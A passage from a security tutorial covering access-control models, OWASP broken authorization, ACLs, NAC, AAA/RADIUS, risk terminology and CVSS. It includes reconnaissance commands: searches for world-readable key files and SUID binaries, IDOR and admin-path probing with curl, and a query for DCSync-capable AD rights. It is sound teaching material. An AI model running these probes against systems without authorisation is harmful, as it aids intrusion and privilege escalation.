&lt;p&gt;&lt;strong&gt;DAC — Discretionary Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Owner of resource decides who can access it
Example: Linux file permissions (chmod)
  -rw-r--r-- file.txt
  Owner: read, write
  Group: read
  Others: read

Weakness: Owner can grant access to anyone
          "Discretionary" = no central oversight
          User error leads to data exposure (chmod 777)

Attack relevance: Find world-readable sensitive files
find / -perm -o+r -name "*.key" -o -name "*.conf" 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;MAC — Mandatory Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Central authority assigns labels &lt;span class="o"&gt;(&lt;/span&gt;classifications&lt;span class="o"&gt;)&lt;/span&gt; to subjects and objects
Access granted only when subject label permits object label
Subject cannot override — even &lt;span class="k"&gt;if &lt;/span&gt;they &lt;span class="s2"&gt;"own"&lt;/span&gt; the file

Examples:
  SELinux &lt;span class="o"&gt;(&lt;/span&gt;Security Enhanced Linux&lt;span class="o"&gt;)&lt;/span&gt;
  AppArmor
  Military classifications: Unclassified, Secret, Top Secret

Multi-Level Security &lt;span class="o"&gt;(&lt;/span&gt;MLS&lt;span class="o"&gt;)&lt;/span&gt; model &lt;span class="o"&gt;(&lt;/span&gt;Bell-LaPadula&lt;span class="o"&gt;)&lt;/span&gt;:
  No &lt;span class="nb"&gt;read &lt;/span&gt;up: Top Secret user can &lt;span class="nb"&gt;read &lt;/span&gt;Secret &lt;span class="o"&gt;(&lt;/span&gt;but not TS from Secret&lt;span class="o"&gt;)&lt;/span&gt;
  No write down: Top Secret user cannot write to Unclassified &lt;span class="o"&gt;(&lt;/span&gt;prevent leakage&lt;span class="o"&gt;)&lt;/span&gt;

Check SELinux status:
  getenforce               &lt;span class="c"&gt;# Enforcing / Permissive / Disabled&lt;/span&gt;
  sestatus                 &lt;span class="c"&gt;# Detailed SELinux status&lt;/span&gt;
  &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-Z&lt;/span&gt; /etc/shadow        &lt;span class="c"&gt;# See file's SELinux label&lt;/span&gt;
  ps &lt;span class="nt"&gt;-eZ&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;httpd      &lt;span class="c"&gt;# See process's SELinux context&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RBAC — Role-Based Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Permissions assigned to roles, users assigned to roles
User inherits permissions of their role(s)

Example:
  Role: "Network Admin" = permission to view/change network config
  Role: "Read-Only Auditor" = permission to view logs, no changes
  User: jsmith = assigned role "Network Admin"

Benefits:
  Scalable (manage roles, not individual user permissions)
  Consistent (all users with same role have same access)
  Auditable (clear what each role can do)

Weakness:
  Role explosion: too many roles becomes unmanageable
  Role creep: users accumulate roles over time beyond what's needed

RBAC in Active Directory:
  Security groups = roles
  DACL (Discretionary ACL) on objects = permissions per group
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ABAC — Attribute-Based Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access decisions based on attributes of: user, resource, environment, action

Example policy:
  "Allow access to Document X IF:
    user.department == 'Finance'
    AND user.clearance &amp;gt;= document.classification
    AND time.current_hour BETWEEN 8 AND 18
    AND user.location == 'corporate_network'"

More flexible than RBAC — can express complex, context-aware policies
Used in: AWS IAM, Azure RBAC, modern zero trust systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PBAC — Policy-Based Access Control (modern):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Centralised policy engine evaluates access requests in real-time
Example: Open Policy Agent (OPA)

Decouples policy from code:
  Application asks OPA: "Can user X do action Y on resource Z?"
  OPA evaluates policies, returns: allow/deny + reason

Used in: Kubernetes admission control, API gateways, microservices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Broken Authorization — OWASP Top 10
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Broken Access Control is the #1 OWASP vulnerability (2021, 2023)

Common Broken Authorisation Patterns:

IDOR (Insecure Direct Object Reference):
  URL: /api/user/12345/profile
  Attacker changes to: /api/user/12346/profile
  → Access to another user's data
  Defence: Check that authenticated user owns resource 12346

Privilege Escalation — Vertical:
  Regular user accesses admin function
  URL: /admin/delete_user?id=5
  No check that user is admin → any user can delete users

Privilege Escalation — Horizontal:
  User A accesses User B's data
  Same privilege level, different account

Missing Function-Level Access Control:
  Frontend hides admin menu from non-admins
  But /admin/users endpoint is not protected server-side
  Attacker discovers URL → full access

Forced Browsing:
  /reports/financial/2024/q4.pdf is protected
  /reports/financial/2023/q4.pdf is not
  Attacker traverses to find unprotected resources
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Testing authorisation controls:&lt;/span&gt;

&lt;span class="c"&gt;# Check for IDOR manually:&lt;/span&gt;
&lt;span class="c"&gt;# Identify user-owned resource ID in URL/response&lt;/span&gt;
&lt;span class="c"&gt;# Authenticate as different user, attempt to access first user's resource&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: session=user2_session"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    https://target.com/api/users/USER1_ID/data
&lt;span class="c"&gt;# If returns user1's data: IDOR vulnerability&lt;/span&gt;

&lt;span class="c"&gt;# Test for privilege escalation via HTTP method:&lt;/span&gt;
&lt;span class="c"&gt;# Many apps check GET but not POST/PUT/DELETE&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; DELETE https://target.com/api/admin/users/5 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: regular_user_session"&lt;/span&gt;
&lt;span class="c"&gt;# If succeeds: missing authorisation check on DELETE method&lt;/span&gt;

&lt;span class="c"&gt;# Test for parameter manipulation:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://target.com/api/invoice?user_id=YOUR_ID&amp;amp;invoice_id=INVOICE_ID"&lt;/span&gt;
&lt;span class="c"&gt;# Change user_id to another user's ID&lt;/span&gt;
&lt;span class="c"&gt;# If returns their invoice: IDOR&lt;/span&gt;

&lt;span class="c"&gt;# Check for directory traversal (forced browsing):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;path &lt;span class="k"&gt;in&lt;/span&gt; /admin /administrator /manager /api/admin /api/internal&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;: https://target.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# 200 on admin paths without admin login = authorisation failure&lt;/span&gt;

&lt;span class="c"&gt;# Linux authorisation check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;                             &lt;span class="c"&gt;# What can current user sudo?&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;                                  &lt;span class="c"&gt;# Current user, groups, capabilities&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null     &lt;span class="c"&gt;# SUID files (run as owner, not as self)&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null     &lt;span class="c"&gt;# SGID files&lt;/span&gt;
&lt;span class="c"&gt;# SUID on non-standard binaries = privilege escalation opportunity&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Authentication proves identity; authorisation enforces what that identity can do. Broken access control (authorisation failure) is consistently the most common vulnerability class in web applications. The root cause is almost always the same: trusting client-supplied data (user IDs, role indicators) without server-side verification. Every access control check must happen on the server, every time, for every request.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Access Control — Enforcing Decisions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Access Control as the Enforcement Layer
&lt;/h3&gt;

&lt;p&gt;Access control is the mechanism that takes authentication + authorisation decisions and enforces them. It is the "gate" between subjects (users, processes, systems) and objects (files, databases, APIs, network services).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access Control Components:

Subject: Entity requesting access (user, process, service)
Object:  Resource being accessed (file, database, API, network)
Reference Monitor: Policy enforcement mechanism
Policy: Rules defining what subjects may do to objects

Reference Monitor Requirements:
  1. Always invoked (cannot be bypassed)
  2. Tamperproof (cannot be modified)
  3. Small enough to be verified correct (formally verifiable)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Access Control Lists (ACLs)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ACL: a list attached to an object defining which subjects have which permissions

File system ACL example &lt;span class="o"&gt;(&lt;/span&gt;Linux extended ACL&lt;span class="o"&gt;)&lt;/span&gt;:
getfacl /var/data/sensitive.txt
&lt;span class="c"&gt;# file: /var/data/sensitive.txt&lt;/span&gt;
&lt;span class="c"&gt;# owner: root&lt;/span&gt;
&lt;span class="c"&gt;# group: finance&lt;/span&gt;
user::rw-           &lt;span class="c"&gt;# file owner: read, write&lt;/span&gt;
user:alice:rw-      &lt;span class="c"&gt;# alice: read, write&lt;/span&gt;
user:bob:r--        &lt;span class="c"&gt;# bob: read only&lt;/span&gt;
group::r--          &lt;span class="c"&gt;# finance group: read&lt;/span&gt;
group:security:rwx  &lt;span class="c"&gt;# security group: read, write, execute&lt;/span&gt;
mask::rwx           &lt;span class="c"&gt;# maximum effective permissions&lt;/span&gt;
other::---          &lt;span class="c"&gt;# everyone else: no access&lt;/span&gt;

&lt;span class="c"&gt;# Set ACL:&lt;/span&gt;
setfacl &lt;span class="nt"&gt;-m&lt;/span&gt; u:alice:rw /var/data/sensitive.txt
setfacl &lt;span class="nt"&gt;-m&lt;/span&gt; g:security:rwx /var/data/sensitive.txt
setfacl &lt;span class="nt"&gt;-x&lt;/span&gt; u:bob /var/data/sensitive.txt         &lt;span class="c"&gt;# Remove bob's entry&lt;/span&gt;

&lt;span class="c"&gt;# Windows ACL (DACL):&lt;/span&gt;
&lt;span class="c"&gt;# Get-Acl C:\Sensitive\file.txt | Format-List&lt;/span&gt;
&lt;span class="c"&gt;# icacls C:\Sensitive\file.txt&lt;/span&gt;
&lt;span class="c"&gt;# icacls C:\Sensitive\file.txt /grant alice:R&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Network Access Control
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAC (Network Access Control): determines whether a device may connect to the network

Components:
  802.1X: port-based authentication
  RADIUS: AAA server that makes access decisions
  Supplicant: device software seeking access (Windows, macOS, Linux)
  Authenticator: network device enforcing decision (switch, AP)

802.1X Flow:
  Device plugs in → Switch port in unauthorised state
  Supplicant sends EAP identity
  Authenticator forwards to RADIUS
  RADIUS validates: credentials, device certificate, device health
  RADIUS returns: Access-Accept or Access-Reject
  Access-Accept: switch port moves to authorised state, VLAN assigned
  Access-Reject: device has no network access

Device health checks (NAC posture assessment):
  Is antivirus installed and up to date?
  Is OS patched to required level?
  Is disk encryption enabled?
  Is the device compliant with security policy?

If not compliant: quarantine VLAN (access to patching resources only)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Access control audit commands:&lt;/span&gt;

&lt;span class="c"&gt;# Linux filesystem permissions audit:&lt;/span&gt;
&lt;span class="c"&gt;# Find files/dirs with dangerous permissions:&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;    &lt;span class="c"&gt;# World-writable files&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;    &lt;span class="c"&gt;# World-writable directories&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null                        &lt;span class="c"&gt;# SUID files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null                        &lt;span class="c"&gt;# SGID files&lt;/span&gt;

&lt;span class="c"&gt;# Check sudo configuration:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/sudoers
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;                              &lt;span class="c"&gt;# Current user's sudo permissions&lt;/span&gt;
&lt;span class="c"&gt;# Look for: NOPASSWD: ALL (allows full sudo without password)&lt;/span&gt;
&lt;span class="c"&gt;# Look for: wildcard use in allowed commands&lt;/span&gt;

&lt;span class="c"&gt;# Windows: check who has local admin rights:&lt;/span&gt;
net localgroup administrators
&lt;span class="c"&gt;# Should be minimal: only IT admin accounts&lt;/span&gt;

&lt;span class="c"&gt;# Check for excessive AD privileges:&lt;/span&gt;
&lt;span class="c"&gt;# (requires BloodHound or similar)&lt;/span&gt;
&lt;span class="c"&gt;# Find users with DCSync rights:&lt;/span&gt;
&lt;span class="c"&gt;# Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteOwner|WriteDacl"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. AAA Model — Authentication, Authorization, Accounting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 The Three As
&lt;/h3&gt;

&lt;p&gt;AAA (Authentication, Authorization, Accounting) is the security framework for controlling access to network resources and tracking that access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication: WHO are you? (verify identity)
Authorization:  WHAT can you do? (enforce policy)
Accounting:     WHAT DID you do? (record activity)

The three are inseparable for complete access control:
  Without Accounting: authorised access leaves no audit trail
  Without Authorization: all authenticated users have equal access
  Without Authentication: accounting cannot attribute actions to individuals
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 RADIUS — The AAA Protocol
&lt;/h3&gt;

&lt;p&gt;RADIUS (Remote Authentication Dial-In User Service, RFC 2865) is the most widely deployed AAA protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RADIUS Architecture:

Client (NAS):    Network Access Server — the device enforcing access
                 (VPN gateway, wireless AP, switch port, firewall)
RADIUS Server:   Policy engine — makes access decisions
User Directory:  Backend store (AD/LDAP, local database)

Protocol:
  Client → RADIUS Server: Access-Request (UDP 1812)
    Contains: username, hashed password (MD5 challenge-response), NAS info

  RADIUS Server → Client: Access-Accept, Access-Reject, or Access-Challenge

  Access-Accept may include attributes:
    Session-Timeout: how long the session may last
    Idle-Timeout: timeout if no activity
    Class: VLAN assignment
    Filter-Id: ACL to apply to the session

RADIUS Weakness:
  Password encrypted with MD5(PAP) — weak
  Accounting over UDP — can be spoofed

RADIUS/TLS (RadSec): RADIUS over TLS — addresses cleartext vulnerability
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Accounting — The Audit Trail
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Accounting records what was accessed, when, by whom, for how long

Typical accounting record:
  Timestamp:     2024-05-29 10:15:32 UTC
  User:          jsmith@company.com
  Client IP:     192.168.1.5
  NAS-IP:        10.0.0.1 (the VPN gateway or switch)
  Action:        Authenticated successfully
  Session-Time:  3600 seconds
  Bytes-In:      15,234,567
  Bytes-Out:     892,345
  Termination:   User-Request

SIEM Integration:
  RADIUS accounting → SIEM
  Correlate: login at unusual time, login from unusual location,
             excessive data transfer, concurrent sessions from different IPs

Alert rules:
  User authenticated from 2 different countries within 2 hours (impossible travel)
  Data transfer &amp;gt; 1GB in single session (possible exfiltration)
  Failed authentication followed by success from different IP (credential spray → success)
  Authentication outside business hours for non-privileged user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AAA implementation examples:&lt;/span&gt;

&lt;span class="c"&gt;# FreeRADIUS server (Linux):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;freeradius
&lt;span class="c"&gt;# Config: /etc/freeradius/3.0/users&lt;/span&gt;
&lt;span class="c"&gt;# Test user: echo "testuser Cleartext-Password := 'testpassword'" &amp;gt;&amp;gt; /etc/freeradius/3.0/users&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start freeradius
radtest testuser testpassword localhost 0 testing123  &lt;span class="c"&gt;# Test auth&lt;/span&gt;

&lt;span class="c"&gt;# Verify RADIUS authentication from network device:&lt;/span&gt;
radtest username password radius_server_ip 0 shared_secret
&lt;span class="c"&gt;# Expected: Received Access-Accept (success)&lt;/span&gt;

&lt;span class="c"&gt;# Analyse RADIUS accounting logs:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/freeradius/radacct/&lt;span class="k"&gt;*&lt;/span&gt;/detail | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A10&lt;/span&gt; &lt;span class="s2"&gt;"Acct-Status-Type = Start"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"User-Name&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Framed-IP&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Acct-Session-Time"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Check sudo accounting (Linux):&lt;/span&gt;
&lt;span class="c"&gt;# Enable sudo logging:&lt;/span&gt;
&lt;span class="c"&gt;# /etc/sudoers: Defaults logfile="/var/log/sudo.log"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/sudo.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"COMMAND"&lt;/span&gt;
&lt;span class="c"&gt;# Shows: who ran what command with sudo, when, from where&lt;/span&gt;

&lt;span class="c"&gt;# Windows accounting via Security event log:&lt;/span&gt;
&lt;span class="c"&gt;# Event 4624: Successful logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4625: Failed logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4647: User-initiated logoff&lt;/span&gt;
&lt;span class="c"&gt;# Event 4648: Logon with explicit credentials&lt;/span&gt;
&lt;span class="c"&gt;# Event 4662: Object access&lt;/span&gt;
&lt;span class="c"&gt;# Event 4688: Process creation (with command line if enabled)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AAA in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NERC CIP Requirements (North American power grid):
  CIP-004: Personnel training and access management
  CIP-007: Systems security management (authentication controls)

  Specifically requires:
  - Individual user accounts (no shared accounts for privileged access)
  - Password policies
  - Access logging and review

IEC 62443 (industrial cybersecurity standard):
  Security Level 2 (default target): Requires authentication for all access
  Security Level 3 (high): Requires MFA for privileged access
  Accounting: All access to BES (Bulk Electric System) must be logged

Common OT failure:
  Shared "operator" account → no individual accountability
  If something goes wrong (deliberate or accidental), cannot attribute
  Insider threat: no way to know who made changes

Solution: even if field devices cannot authenticate individually,
  require authentication at the boundary (jump server, HMI login)
  and log all sessions with session recording
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Accounting is the pillar most often neglected — authentication and authorisation receive attention, logging is treated as optional. This is backwards: without accounting, you cannot detect breaches, cannot investigate incidents, cannot prove compliance, and cannot learn from security events. Comprehensive, tamper-resistant logging is not optional — it is the difference between a recoverable incident and an unexplained mystery.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Risk, Threat, Vulnerability, Attack — Precise Definitions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Precise Terminology Matters
&lt;/h3&gt;

&lt;p&gt;These four terms are routinely confused and misused — in vendor marketing, in management meetings, and sometimes in security documentation. Using them incorrectly leads to misallocated resources, wrong priorities, and misunderstood risk posture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Definitions:

VULNERABILITY: A weakness in a system, process, or control
  Examples:
  - Unpatched software (CVE-2017-0144 / EternalBlue)
  - Default password on router
  - Missing input validation in web application
  - Unlocked server room door
  - Employee who will click phishing links

THREAT: A potential cause of harm — an actor, event, or circumstance
  Examples:
  - Ransomware group targeting healthcare
  - Disgruntled employee with access
  - Nation-state APT with persistent presence
  - Hurricane disrupting data centre
  - Power outage

RISK: The probability that a threat will exploit a vulnerability, causing impact
  Risk = f(Threat, Vulnerability, Impact)

  More precisely:
  Risk = Threat Likelihood × Vulnerability Exploitability × Impact Severity

  If any factor is zero, risk is zero:
  No threat: vulnerability exists but nobody cares → low risk
  No vulnerability: threat exists but system has no weaknesses → low risk
  No impact: system compromised but contains nothing of value → low risk

ATTACK: A threat actor actually exploiting a vulnerability
  An attack is a threat becoming real
  Not all vulnerabilities are attacked
  Not all threats execute attacks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 The Risk Formula
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Qualitative Risk Assessment:

Likelihood      × Impact       = Risk Level
High (3)        × High (3)     = Critical (9)
High (3)        × Medium (2)   = High (6)
Medium (2)      × High (3)     = High (6)
Medium (2)      × Medium (2)   = Medium (4)
Low (1)         × High (3)     = Medium (3)
Low (1)         × Low (1)      = Low (1)

Quantitative Risk Assessment (FAIR methodology):
  Asset Value (AV): monetary value of what's at risk
  Threat Event Frequency (TEF): how often the threat occurs
  Vulnerability (V): probability of exploitation if threat occurs
  Loss Magnitude (LM): impact if successful

  Annualised Loss Expectancy (ALE) = TEF × V × LM

Example:
  Database breach risk:
  TEF = 2 per year (two significant attacks expected)
  V = 0.3 (30% chance of success if attacked)
  LM = $500,000 (cost of breach: notification, legal, remediation)
  ALE = 2 × 0.3 × $500,000 = $300,000/year

  Spend up to $300,000/year on controls that prevent the breach
  Spending $1,000,000/year to prevent a $300,000 risk = poor risk management
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Vulnerability Scoring — CVSS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVSS (Common Vulnerability Scoring System) quantifies vulnerability severity

CVSS v3.1 Base Metrics:

Attack Vector (AV):
  Network (N):    Exploitable remotely (worst)
  Adjacent (A):   Must be on same network
  Local (L):      Must have local access
  Physical (P):   Requires physical access (least severe for remote attack)

Attack Complexity (AC):
  Low (L):        No special conditions needed
  High (H):       Specific conditions required (race condition, non-default config)

Privileges Required (PR):
  None (N):       No authentication needed (most severe)
  Low (L):        Regular user
  High (H):       Admin/root

User Interaction (UI):
  None (N):       No user action needed
  Required (R):   Victim must take action

Scope (S):
  Unchanged (U):  Impact contained to vulnerable component
  Changed (C):    Impact extends beyond vulnerable component

Confidentiality / Integrity / Availability Impact:
  None (N) / Low (L) / High (H)

CVSS Score Ranges:
  0.0:     None
  0.1-3.9: Low
  4.0-6.9: Medium
  7.0-8.9: High
  9.0-10.0: Critical

Examples:
  EternalBlue (MS17-010): CVSS 9.8 (Critical) — Network, Low complexity, No auth
  Log4Shell (CVE-2021-44228): CVSS 10.0 (Critical) — Network, Low, None auth, Changed scope
  Local privilege escalation typical: CVSS 7.8 (High) — Local access required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Vulnerability management workflow:&lt;/span&gt;

&lt;span class="c"&gt;# Check for CVEs in installed packages (Linux):&lt;/span&gt;
&lt;span class="c"&gt;# Debian/Ubuntu:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt list &lt;span class="nt"&gt;--installed&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s2"&gt;"^[^/]+"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs dpkg &lt;span class="nt"&gt;-s&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Version&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Package"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;paste&lt;/span&gt; - - | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2, $4}'&lt;/span&gt;
&lt;span class="c"&gt;# Then cross-reference against CVE databases&lt;/span&gt;

&lt;span class="c"&gt;# Trivy (container/system vulnerability scanner):&lt;/span&gt;
trivy image nginx:latest             &lt;span class="c"&gt;# Scan container image&lt;/span&gt;
trivy fs /                           &lt;span class="c"&gt;# Scan filesystem&lt;/span&gt;
trivy &lt;span class="nt"&gt;--severity&lt;/span&gt; HIGH,CRITICAL fs /  &lt;span class="c"&gt;# Only high/critical&lt;/span&gt;

&lt;span class="c"&gt;# OpenVAS / GVM (vulnerability scanner):&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;get_tasks/&amp;gt;"&lt;/span&gt;  &lt;span class="c"&gt;# List scheduled scans&lt;/span&gt;

&lt;span class="c"&gt;# Check specific CVE status:&lt;/span&gt;
&lt;span class="c"&gt;# CVE database API:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
